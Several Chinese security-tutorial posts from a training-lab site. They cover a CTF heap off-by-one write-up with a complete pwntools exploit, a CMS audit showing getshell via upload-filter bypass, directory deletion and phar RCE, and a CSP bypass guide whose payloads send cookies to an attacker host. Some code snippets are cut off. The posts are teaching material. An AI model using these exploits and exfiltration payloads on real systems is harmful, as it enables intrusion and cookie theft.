快速入门堆溢出技巧(OFF BY ONE)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> OFF BY ONE 所谓OFF BY ONE就是利用堆溢出一个字节到下一个堆块,使得目前堆块与下一堆块合并成一个堆块,此时堆块的大小就是我们溢出的那一字节 并且堆块的fd(前驱指针)以及bk(后继指针)都会指向 main_arena+88的地址这也是我们泄露出来的地址 利用gdb 输入libc查看基地址,main_arena+88-libc=offset 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=9613f998-8cd2-4981-9bc5-9900c97371de (本实验主要介绍了缓冲区溢出基础与实例,通过本实验的学习,了解缓冲区溢出的原理与危害,掌握防范缓冲区溢出的基本方法) UNSORTERBIN&FASTBINS 在堆块的bins中分为fastbins,largebins,smallbins还有今天要用到的unsortedbin。所谓unsortedbin就是为未分类的区块。 例题讲解 本次我选用V&N在2020的招新赛的simpleheap 如有需要可在buuctf找到 思路概述 我们先创建足够的堆块一般对于这种菜单类型的题目我们创建4个堆块 其中编号为3(编号从0到3)的堆块用来隔开top chunk避免我们需要用到的 编号为1,2的堆块中的2堆块与top chunk重合导致无法使用unsortedbin攻击 接着去利用off by one+unsortedbin泄露libc(使用show函数)最后将堆排布好并构建payload传入即可 First step 常规操作checksec 保护全开64位,倒也正常。接着拉进ida慢慢分析 q@ubuntu:~$ checksec vn [*] '/home/q/vn'   Arch:     amd64-64-little   RELRO:   Full RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     PIE enabled 如下我们可以发现是个非常经典的菜单题目,那么经过查找漏洞点发现在edit函数 void __fastcall main(__int64 a1, char **a2, char **a3) { sub_A39(a1, a2, a3); puts("Welcome to V&N challange!"); puts("This's a simple heap for you."); while ( 1 ) {   menu();   switch ( (unsigned int)sub_9EA() )   {     case 1u:       add();       break;     case 2u:       edit();       break;     case 3u:       show();       break;     case 4u:       del();       break;     case 5u:       exit(0);     default:       puts("Please input current choice.");       break;   } } } 如下get_input_content里面有个off by one 的漏洞 unsigned __int64 __fastcall sub_C39(__int64 a1, int a2) { unsigned __int64 result; // rax unsigned int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; ; ++i ) {   result = i;   if ( (int)i > a2 )     break;   if ( !read(0, (void *)((int)i + a1), 1uLL) )     exit(0);   if ( *(_BYTE *)((int)i + a1) == 10 )   {     result = (int)i + a1;     *(_BYTE *)result = 0;     return result;   } } return result; } Second step 在第一步我们对程序的漏洞点寻找完毕 现在我们要开始第二步去利用off by one创建fake chunk了,先上交互函数 from pwn import * context(log_level='debug') r=process('./vn') #elf=ELF('./vn') #r=remote('node3.buuoj.cn',28465) libc=ELF('16.so') def add(size,content):       r.recvuntil("choice: ")       r.sendline("1")       r.sendlineafter("size?",str(size))       r.sendlineafter("content:",content) def edit(idx,content):       r.recvuntil("choice: ")       r.sendline("2")       r.sendlineafter("idx?",str(idx))       r.sendlineafter("content:",content) def dump(idx):       r.recvuntil("choice: ")       r.sendline("3")       r.sendlineafter("idx?",str(idx)) def free(idx):       r.recvuntil("choice: ")       r.sendline("4")       r.sendlineafter("idx?",str(idx)) 如思路概述所讲到我们需要创建4个堆 我们创建好的堆结构如下 在gdb中正常的堆结构如下 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x556b208da000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x556b208da020 Size: 0x71 Allocated chunk | PREV_INUSE Addr: 0x556b208da090 Size: 0x71 Allocated chunk | PREV_INUSE Addr: 0x556b208da100 Size: 0x21 Top chunk | PREV_INUSE Addr: 0x556b208da120 Size: 0x20ee1 接下来我们开始利用off by one去对其创建fake chunk add(0x18,b'a')#0 add(0x68,b'a')#1 add(0x68,b'a')#2 add(0x18,b'a')#3 阻断top chunk edit(0,b'a'*0x18+b'\xe1') free(1) gdb.attach(r) gdb中调试结果如下,我们很明显的可以看见两个0x71的堆块合并成了我们想要的0xe1的堆块,此时我们的fake chunk就构建完毕了 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5650f994f000 Size: 0x21 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5650f994f020 Size: 0xe1 fd: 0x7fc2f9aebb78 bk: 0x7fc2f9aebb78 Allocated chunk Addr: 0x5650f994f100 Size: 0x20 Top chunk | PREV_INUSE Addr: 0x5650f994f120 Size: 0x20ee1 Third step 有了fake chunk 现在我们就需要用到unsortedbin里面的chunk去泄露libc 在开头的OFF BY ONE的介绍中我们提到了因为OFF BY ONE形成的chunk 其fd bk指针会指向main_arena+88,在gdb输入libc可以得到libc的地址 main_arena+88-libc=offset=0x3c4b78 在这里呢我们现在要解决的如何用脚本实现交互自动取得偏移呢? 这里就要继续提到 分割unsortedbin 我们重新申请一个堆块,该堆块的大小若刚好在unsortedbin中(强烈建议对半分割),我们申请回来之后通过gdb可以看见其中的堆结构如下 一个0x71在unsortedbin,另外一个是我们可以正常使用的,此时他的内容便是fd与bk指向的地址main_arena+88 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x559615971000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x559615971020 Size: 0x71 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x559615971090 Size: 0x71 fd: 0x7f0437e11b78 bk: 0x7f0437e11b78 Allocated chunk Addr: 0x559615971100 Size: 0x20 Top chunk | PREV_INUSE Addr: 0x559615971120 Size: 0x20ee1 因此我们可以得的泄露脚本如下 add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露 main_arena dump(2) leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) gdb.attach(r) libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000 realloc_addr=libc_base+libc.sym['__libc_realloc'] malloc_hook=libc_base+libc.sym['__malloc_hook'] fake_chunk_addr=malloc_hook-0x23 one_gadget=libc_base+0x4526a print(hex(realloc_addr)) print(hex(fake_chunk_addr)) PS: 这里可以说下为什么fake_chunk_addr=malloc_hook-0x23 这个malloc_hook-0x23刚好可以达到fastbin这个基本上每个程序都是固定的 如下0x7f78812fbaed就是fake chunk的地址处于fastbins 并且非常有意思的是此处正是我们leak处main_arena+88这个地方减去88再减去0x33得的的地址,并且该地址也是我们对堆块输入内容的地址 pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x55f8ce9d4090 —▸ 0x7f78812fbaed (_IO_wide_data_0+301) ◂— 0x7880fbcea0000000 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty Last step 我们现在有了需要的一切,那么现在最后一步就是对堆进行排布并且传入我们构建好的payload 在这里所谓的堆排布就是我们要想办法让堆块去执行我们的传入的payload 从第三步完结的时候堆排布如下 此时我们再申请一个0x68大小的堆块就可以把unsortedbin里面的东西都拿出来 此时堆结构依然不改变,只是位于unsortedbin的chunk变成可以利用的正常chunk其fd bk指针不再指向别的地址而是去指向前驱和后继的chunk pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555d4046b000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555d4046b020 Size: 0x71 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x555d4046b090 Size: 0x71 fd: 0x7ff34264eb78 bk: 0x7ff34264eb78 Allocated chunk Addr: 0x555d4046b100 Size: 0x20 Top chunk | PREV_INUSE Addr: 0x555d4046b120 Size: 0x20ee1 接下来我们再去free掉一个0x68大小的chunk 对留下来的0x68大小的chunk内容填充为fake chunk的地址 接着继续把被free的chunk申请回来,那么此时fastbin链表就会去指向fake chunk 也许语言看蒙了人,我就用图表示 图1如下是free掉后再去填充的样子 图2如下是我们把被free的chunk申请回来后的样子 此时我们可以说是已经劫持成功了,我们接着去填充payload然后再申请一个堆块就可以触发payload了 add(0x68,b'a'*0x08)# 4与2同时指向0x70 free(4) edit(2,p64(fake_chunk_addr)) add(0x68,b'a'*0x08)#4 payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12) add(0x68,payload)#5 r.recvuntil("choice: ") r.sendline("1") r.sendlineafter("size?",str(0x18)) print(hex(libc.sym['__malloc_hook'])) r.interactive() PS: 关于为什么是0x13-0x08,因为我们从main_arena-0x33的位置填充的(第三步有提到),而这个位置距离realloc_hook的距离就是(0x13-8) 关于realloc_hook压栈到底要加多少 我们可以打开gdb输入 x/32i __libc_realloc pwndbg> x/32i __libc_realloc   0x7ff34230e710 <__GI___libc_realloc>: push   r15   0x7ff34230e712 <__GI___libc_realloc+2>: push   r14   0x7ff34230e714 <__GI___libc_realloc+4>: push   r13   0x7ff34230e716 <__GI___libc_realloc+6>: push   r12   0x7ff34230e718 <__GI___libc_realloc+8>: mov   r12,rsi   0x7ff34230e71b <__GI___libc_realloc+11>: push   rbp   0x7ff34230e71c <__GI___libc_realloc+12>: push   rbx 把里面的数字一个个代入试试看。 最后的完整exp如下 EXP: 需要的libc从buuctf里面下载 from pwn import * context(log_level='debug') #r=process('./vn') #elf=ELF('./vn') r=remote('node3.buuoj.cn',28640) libc=ELF('64.so') def add(size,content):        r.recvuntil("choice: ")        r.sendline("1")        r.sendlineafter("size?",str(size))        r.sendlineafter("content:",content) def edit(idx,content):        r.recvuntil("choice: ")        r.sendline("2")        r.sendlineafter("idx?",str(idx))        r.sendlineafter("content:",content) def dump(idx):        r.recvuntil("choice: ")        r.sendline("3")        r.sendlineafter("idx?",str(idx)) def free(idx):        r.recvuntil("choice: ")        r.sendline("4")        r.sendlineafter("idx?",str(idx)) #gdb.attach(r) add(0x18,b'a')#0 add(0x68,b'a')#1 add(0x68,b'a')#2 add(0x18,b'a')#3 阻断top chunk edit(0,b'a'*0x18+b'\xe1') free(1) add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露main_arena dump(2) leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000 realloc_addr=libc_base+libc.sym['__libc_realloc'] malloc_hook=libc_base+libc.sym['__malloc_hook'] fake_chunk_addr=malloc_hook-0x23 one_gadget=libc_base+0x4526a print(hex(realloc_addr)) print(hex(fake_chunk_addr)) add(0x68,b'a'*0x08)# 4与2同时指向0x70 free(4) edit(2,p64(fake_chunk_addr)) add(0x68,b'a'*0x08)#4 payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12) add(0x68,payload)#5 r.recvuntil("choice: ") r.sendline("1") r.sendlineafter("size?",str(0x18)) print(hex(libc.sym['__malloc_hook'])) r.interactive() 结果如下
记某cms审计过程(新手入门篇)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 前言 今天放假闲着无事就找了个cms来挖挖漏洞,挖到的漏洞比较简单,适合新手入门,所以本篇文章就记录一下这几个漏洞的审计过程,以及如何从新手的角度去挖到cms一些常见的漏洞,如果是大佬就可以绕道了。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID06a1-2876-4bfb-8e59-a0096299c167  (通过本节的学习,了解文件下载漏洞的原理,通过代码审计掌握文件下载漏洞产生的原因以及修复方法。) 前置工作 寻找cms及搭建 一般来说我们可以到谷歌百度等引擎找到cms的官网下载源码,或者码云,然后在本地用phpstudy搭建起来环境 我们在这里下载cms的源码,下载之后怎么在本地搭建呢 我们打开phpstudy-》其他选项菜单-》站点域名管理里 把网站目录填写你下载源码的路径就好了,然后进hosts添加域名 然后不出意外就可以访问了 配置debug 在白盒代码审计的时候你可能会需要到断点调试,这个时候就需要用到xdebug,这里我个人用的是vscode编辑器,当然你用phpstorm也是可以的,配置过程如下 首先在vscode的应用商店下载php debug插件 在php.ini添加 [XDebug] xdebug.profiler_output_dir ="D:\phpStudy\PHPTutorial\tmp\xdebug" xdebug.trace_output_dir ="D:\phpStudy\PHPTutorial\tmp\xdebug" zend_extension="D:\phpStudy\PHPTutorial\php\php-7.1.13-nts\ext\php_xdebug.dll" xdebug.remote_enable = on xdebug.remote_autostart = on 在文件-》首选项-》设置-》用户-》扩展-》settings.json {   "php.validate.executablePath": "D:/phpStudy/PHPTutorial/php/php-7.1.13-nts/php.exe",   "editor.mouseWheelZoom": true,   "php.executablePath": "D:/phpStudy/PHPTutorial/php/php-7.1.13-nts/php.exe",   "workbench.editorAssociations": [       {           "viewType": "jupyter.notebook.ipynb",           "filenamePattern": "*.ipynb"       }   ],   "explorer.confirmDelete": false } launch.json添加 {   "version": "0.2.0",   "configurations": [   {       "name": "Listen for Xdebug",       "type": "php",       "request": "launch",       "port": 9000   },   ] } 上面一些路径自行更改一下,然后我们新建一个1.php打个断点,然后访问http://127.0.0.1/1.php,如果出现如下,就说明xdebug环境就成功搭建了 文件上传漏洞 通常来说,漏洞等级评级高的就是可以rce的高危漏洞,而想要rce最常见的就是文件上传 找文件上传漏洞的话,有两种思路,分别为黑盒和白盒,对新手来说代码功底不强的话,黑盒应该是会比较简单的,这里分别从两个不同的角度来寻找漏洞 黑盒思路 一般来说网站的后台很多地方都是可以文件上传的,我们进入后台之后可以寻找诸如文章发布处,修改头像处,附件,插件管理等地方,特别是像在文章发布处有这种富文本编辑器的地方往往会有上传图片和上传附件的功能 我们拿刚刚搭建好的cms,进入后台之后在发布文章处找到有可以上传图片的地方 我们随便上传一个1.php,发现提示上传图片发生错误,应该是被过滤了 但不确定是不是前端过滤还是后端过滤,我们先上传1.jpg,抓包改一下 发现上传成功,原来只是前端过滤,芜湖这不起飞,我们再访问一下我们上传的文件 发现已经成功getshell 这里的过滤比较简单,新手可以学一下各种绕过的技巧:https://xz.aliyun.com/t/6692 那么除了发布文章处,我们还可以在上传图片这些地方入手 我们在微信小程序这里的基本设置处看到有个首页分享封面 和上面一样,只是前端做了过滤,我们抓包改文件即可 但是这里的话只是提示上传成功,没有回显出来文件的名字,我们可以在本地文件处看看到底上传了什么东西 发现上传了wx_share_cover.php,这个文件的名字是固定的,于是我们访问试试看 发现也已经成功getshell 白盒思路 对于初学者而言,找漏洞不能只看黑盒,也要基于白盒审计进行,所谓白盒审计可以简单地理解为就是看着代码找漏洞 我们知道php文件上传的函数是move_uploaded_file(),或者一般来说上传的方法名是有upload关键字的,我们可以全局搜索他们定位到上传功能的代码里面 我们找到相应的代码块如下 可以看到validate的check就是这里的过滤,我们用上面的方法绕过即可,如果想清楚的跟踪进这个函数就可以在这里打个断点,然后分析 当然白盒寻找rce漏洞,我们还可以找找file_put_content等可以直接写文件的函数 任意文件删除 通常我们找文件删除漏洞的话,可以全局搜索unlink函数 第一处 这里的代码功能比较简单,正如注释所说的删除目录下面的所有文件,但不删除目录 我们可以看到$directory是我们可控的,而且没用做任何的过滤,说不定就可以穿越目录从而任意删除文件了,我们先手动加一个var_dump(scandir("."));来观察一下这里所处的位置 可以看到现在是在public的目录下,那我们就在上一层目录随便新建一个目录,里面随便新建几个文件试试看 我们输入 http://www.test123.com/system/dir/del?directory=../123 可以发现txt文件都被删除了,但是文件夹没有被删除 因为这个功能不能删除目录,只能删除目录的文件,如果我们还想删412315里面的文件就可以输入 http://www.test123.com/system/dir/del?directory=../123/412315 第二处 这里和第一处差不多,但是功能有点不一样,这里是可以把整个目录删除了,我们输入如下就可以删除整个123目录了 http://www.test123.com/system/dir/delDir?directory=../123 反序列化漏洞 既然前面已经挖到了文件上传漏洞,这个cms又是thinkphp6.0的版本,我们可以再找一下有没有可以触发phar函数的漏洞 第一处 突然看到我们前面的任意文件删除漏洞处,不正是有个is_dir函数吗,而且又是可以控制的,真是踏破铁鞋无觅处得来全不费功夫 我们先用网上公开的反序列化链生成test.jpg,然后利用上面的任意文件删除漏洞上传,上传到这个位置 {"code":1,"msg":"上传成功","url":["http:\/\/www.test123.com\/uploads\/postImages\/20210404\\3c5ea1104433e1cb734be47ab8377a11.jpg"]} 我们再用phar协议去触发这个文件即可rce http://www.test123.com/system/dir/del?directory=phar://uploads/postImages/20210404/3c5ea1104433e1cb734be47ab8377a11.jpg 第n处 除了上面那个任意文件删除处的is_dir,我们可以再找找还有没有其他地方能够触发的,随手一找又发现两处 这还只是单单用is_dir函数,没算上其他的就已经那么多了,这个 cms 真是"漏洞百出" 本文的漏洞已提交至 cnvd 平台,作为新手找一些少人用的 cms 挖上面几种漏洞还是比较容易的 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CSP浅析与绕过
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  XSS是最常见、危害最大的网页安全漏洞,想要抵御它们,要采取非常多编程措施,非常麻烦。那么,有没有可以从根本上解决问题,浏览器自动禁止外部注入恶意脚本的方法呢?CSP应运而生。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017110316534000001  (实验介绍了CSP防御机制的基本原理,利用script gadget绕过CSP,进而实施XSS攻击,并对攻击原理和过程进行分析。) 什么是CSP CSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,它实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,哪些不可以 CSP如何工作 通过响应包头(Response Header)实现: Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self'; 通过HTML 元标签实现: <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> CSP指令 我们可以看出,有一部分是CSP中常用的配置参数指令,我们也是通过这些参数指令来控制引入源,下面列举说明: script-src:外部脚本 style-src:样式表 img-src:图像 media-src:媒体文件(音频和视频) font-src:字体文件 object-src:插件(比如 Flash) child-src:框架 frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>) connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等) worker-src:worker脚本 manifest-src:manifest 文件 dedault-src:默认配置 frame-ancestors:限制嵌入框架的网页 base-uri:限制<base#href> form-action:限制<form#action> block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启) upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议 plugin-types:限制可以使用的插件格式 sandbox:浏览器行为的限制,比如不能有弹出窗口等。 除了Content-Security-Policy,还有一个Content-Security-Policy-Report-Only字段,表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用。 Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser; CSP指令值 介绍完CSP的指令,下面介绍一下指令值,即允许或不允许的资源 *: 星号表示允许任何URL资源,没有限制; self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载; data:仅允许数据模式(如Base64编码的图片)方式加载资源; none:不允许任何资源被加载; unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用; nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次; 下面通过具体的例子来看看CSP指令和指令值的用法: <img src=image.jpg> 该图片来自https://example.com将被允许载入,因为是同源资源; <script src=script.js> 该js脚本来自https://example.com将被允许载入,因为是同源资源; <script src=https://examples.com/script.js>,该js脚本将不允许被加载执行,因为来自https://examples.com, 非同源; CSP绕过 CSP从诞生时起即有安全研究人员所探索,本文总结部分方法 在开始之前,我们都可以将相应的CSP政策丢上Google 提供的 https://csp-evaluator.withgoogle.com/检测一波,有奇效(手动滑稽) location.href绕过 href 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL。 CSP不影响location.href跳转,因为在大多数网站中的跳转功能都是靠前端实现的,如果限制跳转将会使网站很大一部分功能受到影响,所以利用跳转来绕过CSP是一个万能的方法;或者存在script-src 'unsafe-inline';这条规则也可以用该绕过方法 demo <?php if (!isset($_COOKIE['a'])) { setcookie('a',md5(rand(0,1000))); } header("Content-Security-Policy: default-src 'self';"); ?> <!DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP-safe</h2> <?php if (isset($_GET['a'])) { echo "Your GET content".@$_GET['a']; }// ?> 这个地方可以用location跳转:location.href(window.location/window.open)绕过 exp ?a=<script>location.href="http://127.0.0.1"+document.cookie;</script> 在我们已经可以执行任意js脚本但由于CSP的阻拦我们的cookie无法带外传输,就可以用此方法 location.href = "vps_ip:xxxx?"+document.cookie 可以执行任意js脚本,但由于CSP无法数据外带 CSP为script-src 'unsafe-inline' link标签预加载导致的绕过 这是个老办法了,在大部分浏览器都已经约束了该标签,但是老浏览器可能还可行 <!-- firefox --> <link rel="dns-prefetch" href="//${cookie}.vps_ip"> <!-- chrome --> <link rel="prefetch" href="//vps_ip?${cookie}"> 那我们该如何将数据外带呢 动态构建元素,再引发页面跳转 var link = document.createElement("link"); link.setAttribute("rel", "prefetch"); link.setAttribute("href", "//vps_ip/?" + document.cookie); document.head.appendChild(link); 这样就可以将cookie外带了 可以执行任意js脚本,但由于CSP无法外带数据 meta网页跳转绕过 与link标签原理相似,利用meta标签实现网页跳转 http://127.0.0.1/csp.php?xss==<meta http-equiv="refresh" content="1;url=http://150.158.188.194:7890/" > 除此之外,meta标签还有一些不常用的功能有时也能起奇效 meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。 <meta http-equiv="cache-control" content="public"> meta可以设置Cookie(Firefox下),可以结合self-xss利用 <meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/"> meta这一被很多人忽略的标签,其实可以做到的东西也不少,后面有机会会进一步分析 iframe绕过 iframe 元素会创建包含另外一个文档的内联框架(即行内框架),我们可以通过设置这个来做到一个跨域访问,这其中就有安全问题了,但是今天要用到的并不是这些 在CSP中,通过配置sandbox和child-src可以设置iframe的有效地址,它限制适iframe的行为,包括阻止弹出窗口,防止插件和脚本的执行,而且可以执行一个同源策略。 同源 这才是主角,当一个同源站点存在两个页面,我们称它们为A页面和B页面,假如A页面有CSP保护,而B页面没有,我们就可以直接在B页面新建iframe用js操作A页面的DOM,也就是说A页面的CSP防护完全失效 demo&exp <!-- A页面 --> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'"> <h1 id="flag">flag{0xffff}</h1> <!-- B页面 --> <!-- 下面模拟XSS --> <body> <script> var iframe = document.createElement('iframe'); iframe.src="http://127.0.0.1/a.php"; document.body.appendChild(iframe) setTimeout是为了等待iframe加载完成 你以为就这样就完了?那你果然和我一样天真了 在找CSP绕过相关资料时,还发现了个好玩的东西(https://www.jianshu.com/p/f1de775bc43e) 在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。 <iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe> 一个同源站点存在两个页面,其中一个有CSP保护,一个没有且存在xss漏洞 我们要的数据在存在CSP保护的页面中 CDN绕过 一般来说,前端要用到许多的前端框架和库,而部分企业为了效率或者其他原因,会选择使用其他CDN上的js框架,当这些CDN上存在一些低版本的框架时,就可能存在绕过CSP的风险 这里借Orange大神绕过hackmd CSP的文章(https://paper.seebug.org/855/)来分析一波 demo 先来看hackmd的CSP策略 content-security-policy: script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://cdnjs.cloudflare.com https://cdn.mathjax.org https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disq 看到了unsafe-eval这个关键字,可以想到Breaking XSS mitigations via Script Gadgets手法,但我们继续往下看就会发现,其实没这么复杂,因为该CSP政策还允许了https://cdnjs.cloudflare.com/这个js hosting服务,这个提供了很多第三方的函数库以供引入,这样我们就可以直接借助AngularJS 函数库以及Client-Side Template Injection里面成熟的沙盒逃逸技术绕过 再因为原本WAF对注释的完全可信,可以构造出<!-- foo="bar--><script>alert(1)</script>>" -->这一payload,用-->来闭合前面的注释,来让后面内容完全可控 两者结合,得出最终payload exp <!-- foo="--> <script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js> </script> <div ng-app> {{constructor.constructor('alert(document.cookie)')()}} </div> //sssss" --> 详细内容看Orange师傅的文章 如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp <div data-role=popup id='<script>alert(1)</script>'></div> 还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie <amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel> 总而言之,这一绕过方法主要可以套用网上相应的payload格式来绕过CSP,在https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf中总结了可以被用来CDN绕过的一些JS库,可以用作参考 CDN服务商存在低版本的js库 该CDN服务商在CSP白名单中 站点可控静态资源绕过 给一个绕过codimd的(实例)https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_&_Bypass_CSP.md 案例中codimd的CSP中使用了http://www.google-analytics.com 而http://www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP demo <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com"> <script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script> exp 同理,在其他站点提供了可控静态资源的功能时,且CSP中允许了此站点,就可以用该方式绕过 存在可控静态资源 站点在CSP允许名单中 不完整script标签绕过 我们先来了解一个小知识(敲黑板):当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性 好,我们开搞 demo1 <?php header("X-XSS-Protection:0");?> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'"> <?php echo $_GET['xss']?> <script nonce='xxxxx'> //do some thing </script> exp 当我们输入http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1),我们可以发现<script就会被变成一个属性,值为空,之后的nonce='xxxxx' 会被当成我们输入的script标签中的一个属性,成功绕过script-src demo2 但是在chrome中,虽然第二个<script 被当成了属性名,但依旧会干扰chrome对标签的解析,造成错误,使我们的exp无法成功执行 https://xzfile.aliyuncs.com/media/upload/picture/20190511094533-772405ea-738e-1.png exp 这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略 <!-- 3.php --> <h1 a="123" b="456" a="789" a="abc">123</h1> https://xzfile.aliyuncs.com/media/upload/picture/20190511094533-772ac830-738e-1.png于是我们可以输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a= 先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,浏览器在解析的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行 https://xzfile.aliyuncs.com/media/ 可控点在合法script标签上方,且其中没有其他标签 XSS页面的CSP script-src只采用了nonce方式 不完整的资源标签获取资源 demo <meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;"> <?php echo $_GET['xss']?> <h1>flag{0xffff}</h1> <h2 id="id">3</h2> 这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见,虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出 exp http://127.0.0.1/csp.php?xss=<img src="//vps_ip?a= 此时由于我们传入的src的引号没有闭合,html解析器会一直寻找第二个引号,而直到”id“前的引号出现之前,所有内容都会被当作src的值发送到我们的vps上 需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或< 可以加载外域资源 (img-src: *) 需要获取页面某处的信息 302(重定向)绕过 很多时候一个网站都会带有一个302跳转功能的页面,用它来导向到本站的资源或者是外部的链接 我们首先看一下w3c文档里关于重定向的说明https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects 很明显的,如果我们的script-src设置为某个目录,通过这个目录下的302跳转,是可以绕过csp读取到另一个目录下的脚本的。 接下来就来模拟分析一波 demo <!-- csp.php --> <?php header("Content-Security-Policy: default-src 'self';script-src http://127.0.0.1/a/"); ?> <html> <head> </head> <body> csp header test </body> </html> <!-- redirect.php --> <?php header("Location: " . $_GET[url]); ?> <!-- test.php --> <!DOCTYPE html> <html> <head> <title>1</tit csp限制了/a/目录,而我们的目标脚本在/b/目录下则如果这时候请求redirect页面去访问/b/下的脚本是可以通过csp的检查的 exp http://127.0.0.1/a/redirect.php?url=/b/test.php 但这是有一个很严格的条件的,加载的资源所在的域必须和自身处于同域下(example.com),也就是不可能通过302跳转去加载一个其他域下的脚本的,比如通过a.com的302跳转去加载b.com下的脚本是不可以 但!又来个但是了,在实际环境中,比如某个站调用某个cdn,或者类似于script-src example.com/scripts/ google.com/recaptcha/,google.com/script/*下有个evil.js,然后刚好站内有个重定向,漏洞条件就已经成立了。 在script-src允许的域下,需要存在一个重定向的页面,这种页面大多存在于登陆,退出登录 在script-src允许的域下,存在某个任意文件的上传点(任意目录) 有特别的方式可以跨域发送请求,或者有站内域可以接受请求 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
与证书大学站的相爱相杀
